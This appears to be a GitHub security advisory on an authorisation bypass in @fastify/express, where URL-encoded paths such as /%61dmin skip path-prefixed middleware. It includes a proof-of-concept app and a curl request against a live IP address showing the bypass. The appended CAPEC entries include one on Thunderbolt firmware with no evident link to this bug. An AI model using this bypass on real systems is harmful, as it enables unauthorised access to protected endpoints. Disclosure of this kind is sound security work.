GHSA-G6Q3-96CP-5R5M
Vulnerability from github – Published: 2026-01-20 16:35 – Updated: 2026-01-20 16:35Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin

(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.

Mitigation
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
